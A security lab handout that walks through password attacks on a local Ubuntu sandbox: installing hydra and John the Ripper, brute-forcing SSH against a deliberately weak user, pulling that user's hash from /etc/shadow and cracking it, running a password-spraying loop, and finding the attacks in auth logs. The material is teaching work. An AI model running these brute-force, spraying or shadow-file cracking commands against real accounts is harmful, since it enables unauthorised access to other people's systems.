Lab 7 — Password Attacks: Spraying, Brute Force, Cracking

You will perform a controlled brute-force against a local SSH service, then crack a `/etc/shadow` hash with John the Ripper. **Only use these tools against systems you own.**

Run on https://killercoda.com/playgrounds/scenario/ubuntu

Required software (free, apt): - `hydra` - `john` - `openssh-server` (pre-installed)

Step 1 — Install the attack tools

```
apt update && apt install -y hydra john openssh-server
```

Step 2 — Create a target user with a weak password

```
useradd -m victim
echo 'victim:password123' | chpasswd
systemctl restart ssh
```

Step 3 — Build a small wordlist

```
cat > words.txt <<'EOF'
123456
password
qwerty
letmein
password123
admin
welcome
EOF
```

Step 4 — Brute force SSH with hydra

```
hydra -l victim -P words.txt -t 4 -f ssh://127.0.0.1
```

`-f` stops on first valid pair. Hydra will report the cracked password — `password123`. This proves why password complexity + lockout policies matter.

Step 5 — Detect the attack

```
grep "Failed password" /var/log/auth.log 2>/dev/null | tail ||
journalctl -u ssh --no-pager | grep "Failed password" | tail
```

Repeated failures from the same IP are the signature of brute force. (On newer Ubuntu without `rsyslog`, SSH events go to the systemd journal — the `journalctl` fallback covers that.)

Step 6 — Crack a `/etc/shadow` hash with John

```
grep victim /etc/shadow > target.hash
john --wordlist=words.txt target.hash
john --show target.hash
```

John reverses the salted SHA-512 by trying every word in the list.

Step 7 — Password spraying (one password, many users)

Spraying avoids lockout because each user only sees one failed attempt. Demonstrate the concept:

```
for u in alice bob carol dave eve; do
  hydra -l "$u" -p "Winter2025!" -t 1 -f ssh://127.0.0.1 2>&1 | grep -E "host|valid"
done
```

Free online tools

- **Have I Been Pwned password check** — https://haveibeenpwned.com/Passwords
- **CrackStation** — free hash cracker (look-up): https://crackstation.net
- **HashCat wiki** — https://hashcat.net/wiki/
- **NIST password guidelines (SP 800-63B)** — https://pages.nist.gov/800-63-3/sp800-63b.html
- **Bitwarden password strength tester** — https://bitwarden.com/password-strength/

What you learned

- The mechanics of brute force vs. spraying.
- Why offline cracking is the real risk after a database leak.
- The two log signatures (many fails per user = brute, many users + one fail each = spray).